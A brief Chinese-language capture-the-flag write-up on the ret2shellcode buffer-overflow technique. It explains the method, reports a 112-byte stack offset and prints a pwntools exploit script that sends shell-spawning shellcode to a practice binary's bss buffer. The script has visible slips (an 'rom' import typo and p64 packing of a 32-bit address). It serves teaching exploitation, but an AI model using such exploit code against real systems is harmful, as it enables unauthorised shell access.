ret2shellcode
篡改栈帧上的返回地址为攻击者手动传入的 shellcode 所在缓冲区地址初期往往将 shellcode 直接写入栈缓冲区目前由于 the NX bits 保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限
检查保护,没有任何开启
ida分析
存在缓冲区溢出,并将接受到的值放入bss区的buf里,并且bss区是有执行权限的,所以可以将shellcode写到里面。
gdb分析
计算栈偏移为112
编写脚本
rom pwn import *
io = process("./ret2shellcode")
io.recv()
shellcode= asm(shellcraft.sh())
shellcode = shellcode.ljust(112,b'B')
buf= 0x804A080
payload=shellcode+p64(buf)
io.send(payload)
io.interactive()